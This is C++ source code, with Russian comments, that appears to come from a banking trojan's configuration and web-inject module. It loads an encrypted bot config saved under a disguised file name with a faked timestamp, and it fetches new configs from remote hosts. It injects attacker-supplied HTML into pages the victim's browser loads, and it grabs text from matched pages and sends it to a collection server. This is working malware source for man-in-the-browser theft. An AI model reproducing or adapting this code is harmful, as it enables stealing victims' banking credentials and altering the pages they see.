#include <windows.h>

#include "BotConfig.h"
#include "GetApi.h"
#include "Strings.h"
#include "Memory.h"
#include "Utils.h"
#include "Config.h"
#include "Crypt.h"
#include "BotUtils.h"
#include "Loader.h"

#include "Modules.h"

//#include "BotDebug.h"



bool bHttp;
bool bHttps;

// Новая версия конфига
PBotConfig BotConfig;

// Процесс в котором загружался конфиг
DWORD ConfigProcess = 0;

// Время последней загрузки конфига
DWORD LastLoadConfigTime = 0;


#ifdef BV_APP
	LPVOID InjectEventData;       // Данные для вызова события
	THTMLInjectEvent InjectEvent; // Обработчик события HTML инжекта



	void SetHTMLInjectEvent(LPVOID Data, THTMLInjectEvent Event)
	{
		// функция устанавливает обработчик события для инжекта HTML
		InjectEventData = Data;
		InjectEvent = Event;
	}


	void CallHTMLInjectEvent(LPVOID Sender, THTMLInjectEventID ID, LPVOID Reserved)
	{
		// Вызываем событие инжекта
		if (InjectEvent != NULL)
		{
    		InjectEvent(InjectEventData, Sender, ID, Reserved);
		}
	}
#endif


void GetCurrentConfigHostSetings(bool * http, bool * https)
{
	*http	=	bHttp;
	*https	=	bHttps;
}

PCHAR FgrHostFromCfg = NULL;//1
PCHAR GraHostFromCfg = NULL;//2
PCHAR ScrHostFromCfg = NULL;//3
PCHAR SniHostFromCfg = NULL;//4
PCHAR PluginsHostFromCfg = NULL;//5
DWORD TimeOut=70;

char* GetCurrentHostFromConfig(int Num)
{
	char * Res;
	if (Num==1)Res=FgrHostFromCfg;
	if (Num==2)Res=GraHostFromCfg;
	if (Num==3)Res=ScrHostFromCfg;
	if (Num==4)Res=SniHostFromCfg;
	if (Res==NULL)return NULL;
	char* Domain;
	char *cUrl;
	int i;



	while(true)
	{
		cUrl= m_strstr(Res,"|");
		if (cUrl==NULL)
		{
			Domain=NULL;
			break;
		}
		i=m_lstrlen(Res)-m_lstrlen(cUrl);
		Domain=(char*)MemAlloc(i+1);
		m_memcpy(Domain,Res,i);
		if (!CheckHost(Domain))
		{
			Res+=i+1;
			MemFree(Domain);
		}
		else 
			break;
	}


return Domain;
}

DWORD GetConfigTimeOut()
{
	return TimeOut;
}

//----------------------------------------------------------------------------

PCHAR ReadStrBlock_(PCHAR &Buf)
{
	// Функция читаем строку из буфера и смещает указатель за строку
	// формат буфера (DWORD - Длина строки)(Строка)
	DWORD Size = *(DWORD *)Buf;
	Buf += sizeof(DWORD);
	if (Size == 0)
		return NULL;
	PCHAR Str = STR::New(Buf, Size);
	Buf += Size;
	return Str;
}


bool LoadConfigFromFileEx(PBotConfig Config, PWCHAR FileName)
{

	//Загрухить конфигурационный файл
	if (BotConfig == NULL || FileName == NULL)
		return false;

	#ifdef DebugUtils
		Debug::MessageEx("BotConfig", 0, "Load File", NULL, "Загружаем конфигурационный файл");
	#endif


	HANDLE File = (HANDLE)pCreateFileW(FileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );

	if (File == INVALID_HANDLE_VALUE)
	{
		#ifdef DebugUtils
			Debug::MessageEx("BotConfig", 0, "Load File", NULL, "Ошибка загрузки");
		#endif
		return false;

	}

	DWORD h = 0;
	DWORD FileSize = (DWORD)pGetFileSize(File, &h);
	LPBYTE FileBuf = (LPBYTE)MemAlloc(FileSize);
	if (FileBuf == NULL)
	{
		pCloseHandle(File);
		return false;
	}

	DWORD Readed = 0;
	if (!pReadFile(File, FileBuf, FileSize, &Readed, NULL))
	{
		pCloseHandle(File);
		return false;
	}

	const static char Signature[] = {'B', 'J', 'B', 0};
	PCHAR Buf = (PCHAR)XORCrypt::DecodeBuffer((PCHAR)Signature, FileBuf, Readed);
	if (Buf == NULL)
	{
		pCloseHandle(File);
		return false;
	}



	// Пропускаем один устаревший параметр размером один байт
	Buf++;

	// определяем количество масок
	DWORD Count = *(DWORD*)Buf;
	Buf += sizeof(DWORD);

	// Загружаем информацию о хостах

	FgrHostFromCfg = ReadStrBlock_(Buf);
	GraHostFromCfg = ReadStrBlock_(Buf);
	ScrHostFromCfg = ReadStrBlock_(Buf);
	SniHostFromCfg = ReadStrBlock_(Buf);
	PluginsHostFromCfg = ReadStrBlock_(Buf);


	// Период обновления конфига
	TimeOut = *(DWORD*)Buf;
	Buf += sizeof( DWORD );


	//------------- Настройки продоколов -------------//
	bHttp = *Buf != 0;
	Buf++;

	bHttps = *Buf != 0;
	Buf++;

	//------------- Загружаем данные инжектов -------------//
	PHTMLInject Inject;
	PHTMLInjectData Data;
	DWORD DataCount;
    DWORD Mode;
	
	for (DWORD i = 0; i < Count; i++)
	{
		Inject = HTMLInjects::AddInject(BotConfig->HTMLInjects, NULL);
		if (Inject == NULL)
			break;
		// Читаем маску инжекта	
		Inject->URL = ReadStrBlock_(Buf); 

		// Читаем режимы обработки
		Mode = *(DWORD*)Buf;
		Buf += sizeof(DWORD);

		// Таблица режимов
		// LG  1
		// LP  2
		// GPL  3

		// G   4
		// P   5
		// GP  6
		// Декодируем старую версию флага
		Inject->GET = (Mode == 1 || Mode == 3 || Mode == 4 || Mode == 6);
		Inject->POST = (Mode == 2 || Mode == 3 || Mode == 5 || Mode == 6);
		Inject->IsLog = (Mode <= 3); 

		DataCount = *(DWORD *)Buf;
		Buf += sizeof(DWORD);

		for (DWORD j = 0; j < DataCount; j++) 
		{
			Data = HTMLInjects::AddInjectData(Inject, NULL, NULL, NULL);
			if (Data == NULL)
				break;

			Data->Before = ReadStrBlock_(Buf);
			Data->Inject = ReadStrBlock_(Buf);
			Data->After = ReadStrBlock_(Buf);
		}
	}
	MemFree(FileBuf);
	pCloseHandle(File);
	#ifdef DebugUtils
		Debug::MessageEx("BotConfig", 0, "Load File", NULL, "Готово");
	#endif
	return true;
}
//----------------------------------------------------------------------------

void FreeHTMLInjectData(LPVOID Data)
{
	// Уничтожить данные HTML инжекта
	PHTMLInjectData D = (PHTMLInjectData)Data;
	STR::Free(D->Before);
	STR::Free(D->After);
	STR::Free(D->Inject);
	FreeStruct(D);
}

void HTMLInjects::FreeInject(PHTMLInject Inject)
{
	if (Inject == NULL)
		return;

    STR::Free(Inject->URL);
	if (Inject->Injects != NULL)
		List::Free(Inject->Injects);
    FreeStruct(Inject);
}

//----------------------------------------------------------------------------
PList CreateHTMLInjectsList()
{
	PList List = List::Create();
	List::SetFreeItemMehod(List, (TFreeItemMethod)HTMLInjects::FreeInject);
	return List;
}
//----------------------------------------------------------------------------

PBotConfig CreateConfig()
{
	PBotConfig C = CreateStruct(TBotConfig);
	if (C == NULL)
		return NULL;
	C->HTMLInjects = CreateHTMLInjectsList();
	return C;
}
//----------------------------------------------------------------------------

PHTMLInject HTMLInjects::AddInject(PList List, PHTMLInject Source, bool IgnoreDisabledData)
{
	//  Добавить новый HTML инжект в список
	//	List. Если указан источник Source то в новый
	//	будут скопированы все его данные

	PHTMLInject Inject = CreateStruct(THTMLInject);
	if (Inject == NULL)
		return NULL;

	// Копируем инжект
	if (Source != NULL)
	{
		Inject->URL   = STR::New(Source->URL);
		Inject->GET  = Source->GET;
		Inject->POST  = Source->POST;
		Inject->IsLog = Source->IsLog;

		// копируем данные инжектов
		if (Source->Injects != NULL)
		{
			DWORD Count = List::Count(Source->Injects);
			for (DWORD i = 0; i < Count; i++)
			{
				PHTMLInjectData Data = (PHTMLInjectData)List::GetItem(Source->Injects, i);
				if (!Data->Disabled || !IgnoreDisabledData)
					HTMLInjects::AddInjectData(Inject, Data->Before, Data->After, Data->Inject);
			}
		}
    }

	if (List != NULL)
		List::Add(List, Inject);
	return Inject;
}
//----------------------------------------------------------------------------

void HTMLInjects::ResetStatus(PList Injects)
{
	// сбросить статус инжектов
	for (DWORD i = 0; i < List::Count(Injects); i++)
	{
		PHTMLInject Inject = (PHTMLInject)List::GetItem(Injects, i);
		Inject->Used = false;
		for (DWORD j = 0; j < List::Count(Inject->Injects); j++)
		{
			PHTMLInjectData Data = (PHTMLInjectData)List::GetItem(Inject->Injects, j);
			Data->State = idsUnknown;
		}
	}
}
//----------------------------------------------------------------------------


PHTMLInjectData HTMLInjects::AddInjectData(PHTMLInject HTMLInject, PCHAR Before, PCHAR After, PCHAR Inject)
{
	//  AddHTMLInjectData - Добавить новые данные инжекта
	if (HTMLInject == NULL)
		return false;

	PHTMLInjectData Data = CreateStruct(THTMLInjectData);
	if (Data == NULL)
		return NULL;

	Data->Before = STR::New(Before);
	Data->After  = STR::New(After);
	Data->Inject = STR::New(Inject);

	if (HTMLInject->Injects == NULL)
	{
		HTMLInject->Injects = List::Create();
        List::SetFreeItemMehod(HTMLInject->Injects, FreeHTMLInjectData);
    }

	List::Add(HTMLInject->Injects, Data);
	Data->Owner = HTMLInject;

    return Data;
}
//----------------------------------------------------------------------------

void HTMLInjects::ClearInjectList(PList List)
{
	// Функция рчищает список содержащий элементы типа THTMLInject
	if (List == NULL)
		return;
	List::SetFreeItemMehod(List, (TFreeItemMethod)HTMLInjects::FreeInject);
    List::Clear(List);
}

//----------------------------------------------------------------------------

bool Config::GetInjectsForRequest(PRequest Request)
{
	//  GetInjectsForRequest - Получить инжекты для запроса

	if (Request == NULL || StrIsEmpty(Request->URL))
		return false;

	// Инициализируем конфигурационный файл
	PBotConfig BotConfig = Config::GetConfig();
	if (BotConfig == NULL)
		return false;

	// Собираем ссылку
	PCHAR URL = Request->URL;
	bool DelURL = false;
	if (Request->Optional != NULL )
	{
		// Добавляем в запрос отправляемые данные
		PCHAR C = NULL;
		if (STR::Scan(Request->Optional, '?') == NULL) C = "?";
        URL = STR::New(3, Request->URL, C, Request->Optional);
		DelURL = true;
	}

	// Проверяем инжекты
	DWORD Count = List::Count(BotConfig->HTMLInjects);
	for (DWORD i = 0; i < Count; i++)
	{
		PHTMLInject Inject = (PHTMLInject)List::GetItem(BotConfig->HTMLInjects, i);

		if (Inject->Disabled) continue;

		// Сравниваем методы и ссылки
		if ((Request->Method == hmGET && Inject->GET) || (Request->Method == hmPOST && Inject->POST))
			if (CompareUrl(Inject->URL, URL))
			{
                Inject->Used = true;
				#ifdef BV_APP
					CallHTMLInjectEvent(Inject, injMaskFinded, NULL);
				#endif

				if (Request->Injects == NULL)
					Request->Injects = List::Create();

				List::Add(Request->Injects, Inject);
				Request->IsInject = true;

				/*
				if (Request->Injects == NULL)
					Request->Injects = CreateHTMLInjectsList();
				// Дублируем инжект
				PHTMLInject NewInject = AddHTMLInject(Request->Injects, Inject, true);
				if (NewInject != NULL)
				{
					#ifdef BV_APP	
						NewInject->Source = Inject;
					#endif
					Request->IsInject = true;
                }  */
			}
	}
	//
	if (DelURL)
		STR::Free(URL);

	return Request->IsInject;
}

//----------------------------------------------------------------------------

WCHAR ConfigFileName[MAX_PATH] = {0};
WCHAR ConfigFileName_HP[MAX_PATH] = {0}; // Конфиг более высокого приоритета
WCHAR BOT_CONFIG_NAME[]    = {'\\','i','g','f','x','t','r','a','y','.','d','a','t',0};
WCHAR BOT_CONFIG_NAME_HP[] = {'\\','i','g','f','x','t','r','a','y','h', 'p', '.','d','a','t',0};

PWCHAR Config::GetFileName(bool HightPriority)
{
	//  Функция возврашает имя файла по умолчанию
	PWCHAR FileName = NULL;

	if (!HightPriority)
		FileName = &ConfigFileName[0];
	else
		FileName = &ConfigFileName_HP[0];

	if (*FileName == 0)
	{
		WCHAR *AppPath = GetShellFoldersKey(2);

		if ( AppPath == NULL )
			return NULL;

		plstrcpyW(FileName, AppPath);
		if (!HightPriority)
			plstrcatW(FileName, BOT_CONFIG_NAME);
		else
			plstrcatW(FileName, BOT_CONFIG_NAME_HP);
		
		MemFree( AppPath );
	}


	return FileName;
}

//----------------------------------------------------------------------------
void Config::SetFileName(PWCHAR FileName)
{
	//  Функция устанавливает имя файла по умолчанию
	//DWORD Len = m_wcslen(FileName);
	plstrcpyW(ConfigFileName, FileName);
}

//----------------------------------------------------------------------------

bool Config::IsConfig(PCHAR Buf)
{
	// Функция возвращает истину если буфер является конфигом
	return StrSame(Buf, "BJB", true, 3);
}
//----------------------------------------------------------------------------

bool Config::Download(PCHAR URL)
{
	if (StrIsEmpty(URL))
		return false;

	PCHAR Buf = NULL;

	// Загружаем файл
	if (!HTTP::Get(URL, &Buf))
    	return false;

	// Расшифровываем файл
	#ifdef CryptHTTPH
		if (!IsConfig(Buf))
		{
			PCHAR Password = GetMainPassword();
			RC2Crypt::DecodeStr(Password, Buf);
			STR::Free(Password);
        }
	#endif

    bool Result = IsConfig(Buf);

	// Записываем данные в файл
	if (Result)
	{
		PWCHAR FileName = GetFileName();

		pSetFileAttributesW(FileName, FILE_ATTRIBUTE_ARCHIVE );

        File::WriteBufferW(FileName, Buf, STR::Length(Buf));

		SetFakeFileDateTime(FileName);
		pSetFileAttributesW(FileName, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );

    }

	STR::Free(Buf);

	return Result;
}


//----------------------------------------------------------------------------

PBotConfig Config::Initialize(PWCHAR FileName, bool IsNewApplication, bool DontLoad)
{
	// Инициализировать настройки бота
	if (IsNewApplication)
	{
		BotConfig = NULL;
		LastLoadConfigTime = 0;
	}

	if (BotConfig == NULL)
	{
		BotConfig = CreateConfig();
		if (!DontLoad)
		{
			if (FileName == NULL)
			{
				FileName = GetFileName(true);
				if (!FileExistsW(FileName))
					FileName = GetFileName();
            }

			LoadConfigFromFileEx(BotConfig, FileName);
			LastLoadConfigTime = (DWORD)pGetTickCount();
		}
    }

    return BotConfig;

}

/*
PBotConfig Config::Initialize(PWCHAR FileName, bool DontLoad)
{
	// Инициализировать глобальные настройки работы бота
	if (IsNewProcess(ConfigProcess))
	{
		// Обращение в новом процессе
		BotConfig = NULL;
		LastLoadConfigTime = 0;
	}

	if (BotConfig == NULL)
	{
		BotConfig = CreateConfig();
		if (!DontLoad)
		{
			if (FileName == NULL)
				FileName = GetFileName();
			
			LoadConfigFromFileEx(BotConfig, FileName);
			LastLoadConfigTime = (DWORD)pGetTickCount();
		}
    }

    return BotConfig;
}
*/

//----------------------------------------------------------------------------


PBotConfig Config::GetConfig()
{
	// Функция возвращает на конфиг бота
	return BotConfig;
}
//----------------------------------------------------------------------------

void Config::Clear(PBotConfig Config)
{
	// Очистить данне конфига
	if (Config == NULL)
        Config = BotConfig;
	if (Config != NULL)
		List::Clear(Config->HTMLInjects);
}
//----------------------------------------------------------------------------

bool HTMLInjects::IsValidInjectData(PHTMLInjectData Data)
{
	// Функция возвращает истину если данные поддерживаются
	// методом инжекта
	if (Data == NULL)
		return false;

	bool B = !StrIsEmpty(Data->Before);
	bool I = !StrIsEmpty(Data->Inject);
	bool A = !StrIsEmpty(Data->After);

	return (B && I && A) ||
		   (B && A) ||
		   (B && I) ||
		   (I && A);

}
//----------------------------------------------------------------------------

bool SubstitudeText2(PCHAR Buffer, PCHAR &NewBuffer, PCHAR Before, PCHAR Inject, PCHAR After, DWORD &NewBufLen)
{
	// Функция вставляет текст Inject между текстом Before и After
	NewBufLen = 0;
	NewBuffer = NULL;
	if (Buffer == NULL) return false;

	bool B = !StrIsEmpty(Before);
	bool A = !StrIsEmpty(After);
	bool I = !StrIsEmpty(Inject);

	bool Valid = (B && I && A) ||
				 (B && A) ||
				 (B && I) ||
				 (I && A);

	if (!Valid)
		return false;


	// Позиция блока Иуащку
	DWORD BStart = 0;
	DWORD BEnd = 0;
	DWORD BLen = 0;
    // Позиция блока After
	DWORD AStart = 0;
	DWORD AEnd = 0;
	DWORD ALen = 0;

	PCHAR AfterPtr = NULL;

	// Ищем блок Before
	if (B)
	{
		if (!WildCmp(Buffer, Before, &BStart, &BEnd, &BLen))
			return false;
    }



	// Ищем блок After
	if (A)
	{
		PCHAR BeforePtr = Buffer + BEnd;
		if (!WildCmp(BeforePtr, After, &AStart, &AEnd, &ALen))
			return false;
		AfterPtr = BeforePtr + AStart;
		// Если не указан блок Before то переносим конец блока на начало
		// блока After
		if (!B) BEnd = AStart;
	}
	else
    	AfterPtr = Buffer + BEnd; // Ставим указатель на конец блока Before

    DWORD InjectLen = StrCalcLength(Inject);
	DWORD AfterLen = StrCalcLength(AfterPtr);

	// Создаём новый буфер
	NewBufLen = BEnd + InjectLen + AfterLen;
	PCHAR Buf = (PCHAR)MemAlloc(NewBufLen + 1);
	if (Buf == NULL) return false;

	NewBuffer = Buf;

	// Копируем строки
	m_memcpy(Buf, Buffer, BEnd);
	Buf += BEnd;
	m_memcpy(Buf, Inject, InjectLen);
	Buf += InjectLen;
	m_memcpy(Buf, AfterPtr, AfterLen);
	Buf += AfterLen;
    *Buf = 0;

    return true;
}
//----------------------------------------------------------------------------

PCHAR GetHTMLLogCode(PCHAR Buffer, PHTMLInject Inject)
{
	// Функция возвращает HTML код согласно настроек инжекта
	if (StrIsEmpty(Buffer) || Inject == NULL)
		return NULL;

	PStrings S = Strings::Create();
	bool Added = false;
	PCHAR Code;
	PCHAR Tmp;
	DWORD Count = List::Count(Inject->Injects);
	PHTMLInjectData Data;

	for (DWORD i = 0; i < Count; i++)
	{
		Data = (PHTMLInjectData)List::GetItem(Inject->Injects, i);
		Code = GetTextBetween(Buffer, Data->Before, Data->After);
		if (Code != NULL)
		{
			Added = true;
			if (!StrIsEmpty(Data->Inject))
			{
				Tmp = Code;
				Code = STR::New(3, Data->Inject, ": ", Tmp);
				STR::Free(Tmp);
			}
			Strings::Add(S, Code, false);
	
			Data->State = idsOk;
//			#ifdef BV_APP
//				CallHTMLInjectEvent(Data->Source, injDataHandled, NULL);
//			#endif
        }
    }
	PCHAR Result = NULL;

	if (Added)
		Result = Strings::GetText(S, " ");

	Strings::Free(S);
    return Result;
}

//----------------------------------------------------------------------------

bool SendHTMLLogToServer(PCHAR Buffer, PHTMLInject Inject, PHTTPSessionInfo Session)
{
	// Функция отправляет блоки HTML на указанный в настройках сервер
	if (Inject == NULL || !Inject->IsLog)
		return false;


	// Получаем необходимые данные
	PCHAR SendBuffer = NULL;

	PCHAR Data = GetHTMLLogCode(Buffer, Inject);

	if (Data == NULL)
		return false;


	DWORD BrowserType = 0;
	PCHAR UserAgent = NULL;
	PCHAR URL = NULL;

	if (Session != NULL)
	{
		BrowserType = Session->BrowserType;
		UserAgent = Session->UserAgent;

		// Дополняем данные информацией о загружаемом адресе
		if (Session->URL)
		{
			URL = Session->URL;
			StrConcat(SendBuffer, 3, Session->URL, "|", Data);
			STR::Free(Data);
        }

	}

	if (SendBuffer == NULL)
		SendBuffer = Data;

	//  Отправляем  полученные данные
	DataGrabber::AddData(URL, SendBuffer, UserAgent, BrowserType, DATA_TYPE_INJECT);
//	SendFormGrabberLogs(URL, SendBuffer, UserAgent, BrowserType, DATA_TYPE_INJECT);

	STR::Free(SendBuffer);

	return true;
}
//----------------------------------------------------------------------------

bool InjectHTMLCode(PRequest Request, PHTMLInject Inject)
{
	// Метод обрабатывает загруженный HTML документ
	if (Request == NULL || Inject == NULL)
		return false;

	PCHAR NewBuffer = NULL;
	DWORD NewLen = 0;

	DWORD Count = List::Count(Inject->Injects);
	PHTMLInjectData Data;
	bool Injected = false; // Признак того, что был произведён хотя-бы один инжект

	for (DWORD i = 0; i < Count; i++)
	{
		Data = (PHTMLInjectData)List::GetItem(Inject->Injects, i);

		// Обработанные данные игнорируем
		if (Data->Disabled /*|| Data->State == idsOk*/) continue;

		//  Инжектим HTML код в документ
		if (SubstitudeText2((PCHAR)Request->Buffer, NewBuffer, Data->Before, Data->Inject, Data->After, NewLen))
		{
			// Инжект сработал, обрабатываем данные

			Injected = true;
			Request::SetBuffer(Request, (LPBYTE)NewBuffer, NewLen);

			Data->State = idsOk;

			#ifdef BV_APP
				CallHTMLInjectEvent(Data, injDataHandled, NULL);
			#endif
		}

	}

    return Injected;

}

//----------------------------------------------------------------------------

bool HTMLInjects::Execute(PRequest Request, PHTTPSessionInfo Session)
{
	//  Обработать HTML инжекты.
	//
	//  функция возвращает истину если в буффер
	//  запроса были внесены изменения

	if (Request == NULL || !Request->IsInject)
		return false;

    Request->Injected = true; // Устанавливаем признак обработанных инжектов

	bool Result = false;
	PHTMLInject Inject;
	PCHAR NewBuffer;
	DWORD Count = List::Count(Request->Injects);

	for (DWORD i = 0; i < Count; i++)
	{
		Inject = (PHTMLInject)List::GetItem(Request->Injects, i);
		if (Inject->IsLog)
			SendHTMLLogToServer((PCHAR)Request->Buffer, Inject, Session);
		 else
		 {
			// Внедряем свой код в загруженные данные
			NewBuffer = NULL;
			if (InjectHTMLCode(Request, Inject))
				Result = true;
		  }

	}
	return Result;
}
//----------------------------------------------------------------------------

bool HTMLInjects::SupportContentType(PCHAR CType)
{
	// Функция возвращает истину если указанный тип контента
	// поддерживается методами инжекта HTML
	if (CType == NULL)
		return false;
	if (StrSame(CType, "text/", false, 5))
		return true;

	PCHAR Temp;
    bool FreeStr = false;
	if (STR::Scan(CType, ';') != NULL)
	{
		Temp = STR::GetLeftStr(CType, ";");
		FreeStr = true;
    }
	else
		Temp = CType;

	int Result = StrIndexOf(Temp, false, 3, "application/x-javascript",
	"application/xml", "application/xhtml+xml");
	if (FreeStr)
		STR::Free(Temp);
    return Result >= 0;
}
//----------------------------------------------------------------------------

